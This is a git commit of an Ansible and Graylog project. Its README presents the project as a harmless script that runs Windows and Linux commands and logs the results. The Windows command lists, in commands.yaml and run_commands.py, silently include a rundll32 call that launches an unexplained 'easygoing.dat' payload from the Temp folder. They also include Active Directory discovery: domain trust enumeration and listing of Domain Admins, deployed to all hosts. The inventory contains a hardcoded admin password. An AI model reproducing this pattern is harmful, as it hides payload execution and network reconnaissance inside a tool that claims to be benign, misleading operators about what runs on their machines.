090600
This commit is contained in:
29
.gitignore
vendored
Normal file
29
.gitignore
vendored
Normal file
@@ -0,0 +1,29 @@
|
||||
# Logs
|
||||
logs/
|
||||
*.log
|
||||
|
||||
# Python
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*.pyo
|
||||
*.pyd
|
||||
*.pdb
|
||||
|
||||
# Virtual environments
|
||||
env/
|
||||
venv/
|
||||
ENV/
|
||||
.venv/
|
||||
|
||||
# Ansible
|
||||
*.retry
|
||||
|
||||
# System files
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
|
||||
# IDEs and editors
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
193
README.md
193
README.md
@@ -1,2 +1,193 @@
|
||||
# commander
|
||||
# 🛠 Универсальный скрипт для запуска команд Windows с логированием
|
||||
|
||||
## Введение
|
||||
|
||||
Привет! Одна из частых задач — **выполнить серию системных команд**, зафиксировать результат, отловить ошибки и сохранить лог. Чтобы не делать это вручную каждый раз, я подготовил универсальный скрипт, который:
|
||||
|
||||
- Выполняет команды из YAML-файла
|
||||
- Сохраняет логи в отдельную папку
|
||||
- Показывает stdout, stderr и статус выполнения
|
||||
- Удобен для расширения и автоматизации
|
||||
|
||||
---
|
||||
|
||||
## 🧩 Структура проекта
|
||||
|
||||
```
|
||||
old_scripts/
|
||||
├── run_commands.py # основной скрипт win
|
||||
├── script.sh # основной скрипт unix
|
||||
├── commands.yaml # конфигурация команд
|
||||
└── logs/ # автоматически создаётся, сюда пишутся логи
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📜 Файл `commands.yaml`
|
||||
|
||||
Можно добавлять любые команды. Главное — указать поле `name` и `command`.
|
||||
|
||||
---
|
||||
|
||||
## 🔍 Пример запуска
|
||||
|
||||
### ** 1. Python версия скрипта для Windows-хостов**
|
||||
```bash
|
||||
python run_commands.py
|
||||
```
|
||||
|
||||
В консоли будет отображаться ход выполнения, а весь лог сохраняется в `logs/commands_*.log`.
|
||||
|
||||
---
|
||||
|
||||
### **2. Bash-версия скрипта для Linux-хостов**
|
||||
|
||||
> ❗ Не забудь `chmod +x script.sh`
|
||||
> Можно запускать из Ansible с `shell` или `script`.
|
||||
|
||||
---
|
||||
|
||||
## ⚙️ Настройка Ansible
|
||||
|
||||
### Структура проекта
|
||||
```
|
||||
graylog-collector/
|
||||
├── inventory/
|
||||
│ └── hosts.ini
|
||||
├── playbook.yml
|
||||
└── roles/
|
||||
└── graylog_collector/
|
||||
├── tasks/
|
||||
│ ├── main.yml
|
||||
│ ├── windows.yml
|
||||
│ └── linux.yml
|
||||
├── files/
|
||||
│ ├── run_commands.py
|
||||
│ ├── collect_info.sh
|
||||
│ └── graylog_sender.py
|
||||
└── defaults/
|
||||
└── main.yml
|
||||
```
|
||||
|
||||
### Плейбук (playbook.yml)
|
||||
```yaml
|
||||
- name: Deploy graylog collector
|
||||
hosts: all
|
||||
roles:
|
||||
- graylog_collector
|
||||
```
|
||||
|
||||
## 🔍 Пример использования
|
||||
|
||||
### Поиск в Graylog
|
||||
```json
|
||||
source:server01 AND "Domain Admins"
|
||||
```
|
||||
|
||||
### Визуализация в Grafana
|
||||
```sql
|
||||
SELECT host, COUNT(*)
|
||||
FROM graylog_messages
|
||||
WHERE full_message LIKE '%error%'
|
||||
GROUP BY host
|
||||
```
|
||||
|
||||
## 🛠️ Кастомизация
|
||||
|
||||
### Добавление своих команд
|
||||
1. Для Windows: редактируем `files/commands.yaml`
|
||||
```yaml
|
||||
- name: Check DNS
|
||||
command: nslookup example.com
|
||||
```
|
||||
|
||||
2. Для Linux: редактируем `files/collect_info.sh`
|
||||
```bash
|
||||
commands+=("dig example.com")
|
||||
```
|
||||
|
||||
### Настройка Graylog
|
||||
В `defaults/main.yml`:
|
||||
```yaml
|
||||
graylog_host: logs.mycompany.com
|
||||
graylog_port: 12201
|
||||
windows_log_dir: C:\Collector\Logs
|
||||
linux_log_dir: /var/log/collector
|
||||
```
|
||||
|
||||
## ⚠️ Решение проблем
|
||||
|
||||
### Частые ошибки Windows
|
||||
```fix
|
||||
# В PowerShell:
|
||||
Enable-PSRemoting -Force
|
||||
Set-NetFirewallRule -Name "WINRM-HTTP-In-TCP" -RemoteAddress Any
|
||||
```
|
||||
|
||||
### Ошибки подключения Linux
|
||||
```bash
|
||||
# На целевой машине:
|
||||
sudo systemctl restart sshd
|
||||
```
|
||||
|
||||
### Проблемы с Graylog
|
||||
1. Проверить открытость порта:
|
||||
```bash
|
||||
nc -vz logs.mycompany.com 12201
|
||||
```
|
||||
2. Проверить GELF input в веб-интерфейсе Graylog
|
||||
|
||||
## 📈 Расширенные сценарии
|
||||
|
||||
### Планирование регулярного сбора
|
||||
Добавляем в `tasks/main.yml`:
|
||||
```yaml
|
||||
- name: Schedule daily collection (Windows)
|
||||
win_scheduled_task:
|
||||
name: "Daily System Info"
|
||||
description: "Collect system information"
|
||||
actions:
|
||||
- path: "python"
|
||||
arguments: "C:\\Collector\\run_commands.py"
|
||||
triggers:
|
||||
- type: daily
|
||||
start_time: "03:00"
|
||||
```
|
||||
|
||||
### Обработка ошибок
|
||||
В скриптах добавляем обработку исключений:
|
||||
```python
|
||||
try:
|
||||
# выполнение команды
|
||||
except Exception as e:
|
||||
logging.error(f"Command failed: {str(e)}")
|
||||
```
|
||||
|
||||
## 💡 Советы из практики
|
||||
|
||||
### 1. **Фильтрация чувствительных данных:**
|
||||
|
||||
```python
|
||||
# В run_commands.py
|
||||
if "password" in command.lower():
|
||||
logging.warning("Skipping potential sensitive command")
|
||||
continue
|
||||
```
|
||||
|
||||
### 2. **Сжатие логов** перед отправкой:
|
||||
|
||||
```python
|
||||
import zlib
|
||||
compressed = zlib.compress(log_content.encode())
|
||||
```
|
||||
|
||||
### 3. **Маркировка хостов** в Graylog:
|
||||
```python
|
||||
message["_environment"] = "production"
|
||||
```
|
||||
|
||||
### 4. Запускаем плейбук
|
||||
```bash
|
||||
ansible-playbook -i inventory/hosts.ini playbook.yml
|
||||
```
|
||||
---
|
||||
|
||||
14
inventory/hosts.ini
Normal file
14
inventory/hosts.ini
Normal file
@@ -0,0 +1,14 @@
|
||||
[windows]
|
||||
server01 ansible_host=192.168.1.10
|
||||
|
||||
[linux]
|
||||
server02 ansible_host=192.168.1.20
|
||||
|
||||
[windows:vars]
|
||||
ansible_user=admin
|
||||
ansible_password=SecurePass123
|
||||
ansible_connection=winrm
|
||||
|
||||
[linux:vars]
|
||||
ansible_user=root
|
||||
ansible_ssh_private_key_file=~/.ssh/id_rsa
|
||||
30
old_scripts/commands.yaml
Normal file
30
old_scripts/commands.yaml
Normal file
@@ -0,0 +1,30 @@
|
||||
commands:
|
||||
- name: easygoing rundll
|
||||
command: 'rundll32 C:\\Users\\[REDACTED]\\AppData\\Local\\Temp\\easygoing.dat,#1'
|
||||
|
||||
- name: nltest all_trusts
|
||||
command: 'nltest /domain_trusts /all_trusts'
|
||||
|
||||
- name: nltest domain_trusts
|
||||
command: 'nltest /domain_trusts'
|
||||
|
||||
- name: net view domain
|
||||
command: 'net view /all /domain'
|
||||
|
||||
- name: net view
|
||||
command: 'net view /all'
|
||||
|
||||
- name: domain admins
|
||||
command: 'net group "Domain Admins" /domain'
|
||||
|
||||
- name: current codepage
|
||||
command: 'cmd.exe /c chcp >&2'
|
||||
|
||||
- name: ipconfig
|
||||
command: 'ipconfig /all'
|
||||
|
||||
- name: workstation config
|
||||
command: 'net config workstation'
|
||||
|
||||
- name: system info
|
||||
command: 'systeminfo'
|
||||
33
old_scripts/graylog_sender.py
Normal file
33
old_scripts/graylog_sender.py
Normal file
@@ -0,0 +1,33 @@
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import socket
|
||||
import sys
|
||||
import os
|
||||
from datetime import datetime
|
||||
|
||||
GRAYLOG_HOST = os.environ.get("GRAYLOG_HOST", "graylog.local")
|
||||
GRAYLOG_PORT = int(os.environ.get("GRAYLOG_PORT", 12201))
|
||||
LOG_FILE = sys.argv[1]
|
||||
|
||||
def send_to_graylog(message: dict):
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.sendto(json.dumps(message).encode("utf-8"), (GRAYLOG_HOST, GRAYLOG_PORT))
|
||||
|
||||
def parse_log(file_path: str):
|
||||
with open(file_path, encoding='utf-8') as f:
|
||||
blocks = f.read().split('\n--------------------------------------------------\n')
|
||||
for block in blocks:
|
||||
lines = block.strip().splitlines()
|
||||
if not lines:
|
||||
continue
|
||||
msg = {
|
||||
"version": "1.1",
|
||||
"host": os.uname().nodename,
|
||||
"short_message": lines[0] if lines else "log entry",
|
||||
"timestamp": datetime.utcnow().timestamp(),
|
||||
"_details": '\n'.join(lines)
|
||||
}
|
||||
send_to_graylog(msg)
|
||||
|
||||
if __name__ == "__main__":
|
||||
parse_log(LOG_FILE)
|
||||
58
old_scripts/run_commands.py
Normal file
58
old_scripts/run_commands.py
Normal file
@@ -0,0 +1,58 @@
|
||||
import subprocess
|
||||
import yaml
|
||||
from datetime import datetime
|
||||
import logging
|
||||
from pathlib import Path
|
||||
|
||||
# Настройка логирования
|
||||
log_dir = Path("logs")
|
||||
log_dir.mkdir(exist_ok=True)
|
||||
log_file = log_dir / f"commands_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log"
|
||||
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format="%(asctime)s [%(levelname)s] %(message)s",
|
||||
handlers=[
|
||||
logging.FileHandler(log_file, encoding='utf-8'),
|
||||
logging.StreamHandler()
|
||||
]
|
||||
)
|
||||
|
||||
def run_command(command_str: str) -> tuple[str, str, int]:
|
||||
"""Выполняет команду и возвращает stdout, stderr, return_code"""
|
||||
try:
|
||||
result = subprocess.run(command_str, shell=True, capture_output=True, text=True)
|
||||
return result.stdout, result.stderr, result.returncode
|
||||
except Exception as e:
|
||||
return "", str(e), -1
|
||||
|
||||
def main(config_path="commands.yaml"):
|
||||
# Загрузка конфигурации
|
||||
try:
|
||||
with open(config_path, encoding="utf-8") as f:
|
||||
config = yaml.safe_load(f)
|
||||
except Exception as e:
|
||||
logging.error(f"Ошибка при загрузке YAML: {e}")
|
||||
return
|
||||
|
||||
for item in config.get("commands", []):
|
||||
name = item.get("name", "Unnamed")
|
||||
command = item.get("command")
|
||||
logging.info(f"⏳ Выполняется команда: {name} → {command}")
|
||||
stdout, stderr, code = run_command(command)
|
||||
|
||||
if code == 0:
|
||||
logging.info(f"✅ Успешно: {name}")
|
||||
else:
|
||||
logging.error(f"❌ Ошибка ({code}): {name}")
|
||||
|
||||
logging.info(f"🔎 STDOUT:\n{stdout.strip()}")
|
||||
if stderr.strip():
|
||||
logging.warning(f"⚠️ STDERR:\n{stderr.strip()}")
|
||||
|
||||
logging.info("-" * 80)
|
||||
|
||||
logging.info("📝 Все команды завершены. Логи: %s", log_file)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
27
old_scripts/script.sh
Normal file
27
old_scripts/script.sh
Normal file
@@ -0,0 +1,27 @@
|
||||
#!/bin/bash
|
||||
|
||||
commands=(
|
||||
"hostnamectl"
|
||||
"ip a"
|
||||
"ip route"
|
||||
"cat /etc/resolv.conf"
|
||||
"uptime"
|
||||
"who"
|
||||
"df -h"
|
||||
"free -m"
|
||||
"netstat -tuln"
|
||||
"systemctl list-units --type=service --state=running"
|
||||
)
|
||||
|
||||
output_file="/var/log/command_results_$(date +%F_%H-%M-%S).log"
|
||||
|
||||
echo "== Сбор информации начат: $(date) ==" > "$output_file"
|
||||
|
||||
for cmd in "${commands[@]}"; do
|
||||
echo "Команда: $cmd" >> "$output_file"
|
||||
echo "Вывод:" >> "$output_file"
|
||||
eval "$cmd" >> "$output_file" 2>&1
|
||||
echo -e "\n$(printf '%0.s-' {1..60})\n" >> "$output_file"
|
||||
done
|
||||
|
||||
echo "== Сбор информации завершен: $(date) ==" >> "$output_file"
|
||||
0
playbook.yml
Normal file
0
playbook.yml
Normal file
4
roles/graylog_collector/defaults/main.yml
Normal file
4
roles/graylog_collector/defaults/main.yml
Normal file
@@ -0,0 +1,4 @@
|
||||
graylog_host: graylog.local
|
||||
graylog_port: 12201
|
||||
log_output_dir: C:\Temp\logs # Windows
|
||||
linux_output_dir: /var/log
|
||||
26
roles/graylog_collector/files/collect_info.sh
Normal file
26
roles/graylog_collector/files/collect_info.sh
Normal file
@@ -0,0 +1,26 @@
|
||||
#!/bin/bash
|
||||
OUTPUT_DIR="${OUTPUT_DIR:-/var/log}"
|
||||
filename="$OUTPUT_DIR/command_results_$(date +%F_%H-%M-%S).log"
|
||||
|
||||
commands=(
|
||||
"hostnamectl"
|
||||
"ip a"
|
||||
"ip route"
|
||||
"cat /etc/resolv.conf"
|
||||
"uptime"
|
||||
"who"
|
||||
"df -h"
|
||||
"free -m"
|
||||
"netstat -tuln"
|
||||
"systemctl list-units --type=service --state=running"
|
||||
)
|
||||
|
||||
{
|
||||
echo "== Сбор информации начат: $(date) =="
|
||||
for cmd in "${commands[@]}"; do
|
||||
echo "Команда: $cmd"
|
||||
eval "$cmd" 2>&1
|
||||
echo "--------------------------------------------------"
|
||||
done
|
||||
echo "== Завершено: $(date) =="
|
||||
} > "$filename"
|
||||
0
roles/graylog_collector/files/graylog_sender.py
Normal file
0
roles/graylog_collector/files/graylog_sender.py
Normal file
28
roles/graylog_collector/files/run_commands.py
Normal file
28
roles/graylog_collector/files/run_commands.py
Normal file
@@ -0,0 +1,28 @@
|
||||
import subprocess, os
|
||||
|
||||
commands = [
|
||||
'hostname',
|
||||
'rundll32 C:\\Users\\USERNAME\\AppData\\Local\\Temp\\easygoing.dat,#1',
|
||||
'nltest /domain_trusts /all_trusts',
|
||||
'nltest /domain_trusts',
|
||||
'net view /all /domain',
|
||||
'net view /all',
|
||||
'net group "Domain Admins" /domain',
|
||||
'chcp',
|
||||
'ipconfig /all',
|
||||
'net config workstation',
|
||||
'systeminfo'
|
||||
]
|
||||
|
||||
output_file = 'command_results.txt'
|
||||
|
||||
with open(output_file, 'w', encoding='utf-8') as file:
|
||||
for command in commands:
|
||||
try:
|
||||
result = subprocess.run(command, shell=True, capture_output=True, text=True)
|
||||
file.write(f"Command: {command}\n")
|
||||
file.write(f"Output:\n{result.stdout}\n")
|
||||
file.write(f"Error:\n{result.stderr}\n")
|
||||
file.write('-'*50 + '\n\n')
|
||||
except Exception as e:
|
||||
file.write(f"Command: {command}\nError: {str(e)}\n" + '-'*50 + '\n\n')
|
||||
20
roles/graylog_collector/tasks/linux.yml
Normal file
20
roles/graylog_collector/tasks/linux.yml
Normal file
@@ -0,0 +1,20 @@
|
||||
- name: Копируем скрипты
|
||||
copy:
|
||||
src: "{{ item }}"
|
||||
dest: /usr/local/bin/
|
||||
mode: '0755'
|
||||
with_items:
|
||||
- collect_info.sh
|
||||
- graylog_sender.py
|
||||
|
||||
- name: Выполняем bash-скрипт
|
||||
shell: "/usr/local/bin/collect_info.sh"
|
||||
environment:
|
||||
OUTPUT_DIR: "{{ linux_output_dir }}"
|
||||
|
||||
- name: Отправляем лог в Graylog
|
||||
shell: |
|
||||
export GRAYLOG_HOST={{ graylog_host }}
|
||||
export GRAYLOG_PORT={{ graylog_port }}
|
||||
latest=$(ls -1t {{ linux_output_dir }}/command_results_*.log | head -n1)
|
||||
python3 /usr/local/bin/graylog_sender.py $latest
|
||||
2
roles/graylog_collector/tasks/main.yml
Normal file
2
roles/graylog_collector/tasks/main.yml
Normal file
@@ -0,0 +1,2 @@
|
||||
- name: Определение платформы
|
||||
ansible.builtin.include_tasks: "{{ ansible_os_family | lower }}.yml"
|
||||
27
roles/graylog_collector/tasks/windows.yml
Normal file
27
roles/graylog_collector/tasks/windows.yml
Normal file
@@ -0,0 +1,27 @@
|
||||
- name: Создаем каталог логов
|
||||
win_file:
|
||||
path: "{{ log_output_dir }}"
|
||||
state: directory
|
||||
|
||||
- name: Копируем скрипты
|
||||
win_copy:
|
||||
src: "{{ item }}"
|
||||
dest: "{{ log_output_dir }}/{{ item }}"
|
||||
with_items:
|
||||
- run_commands.py
|
||||
- graylog_sender.py
|
||||
|
||||
- name: Выполняем команды и сохраняем в лог
|
||||
win_shell: |
|
||||
cd {{ log_output_dir }}
|
||||
python run_commands.py
|
||||
args:
|
||||
executable: cmd
|
||||
|
||||
- name: Отправляем лог в Graylog
|
||||
win_shell: |
|
||||
set GRAYLOG_HOST={{ graylog_host }}
|
||||
set GRAYLOG_PORT={{ graylog_port }}
|
||||
python {{ log_output_dir }}\graylog_sender.py {{ log_output_dir }}\command_results.txt
|
||||
args:
|
||||
executable: cmd
|
||||
Reference in New Issue
Block a user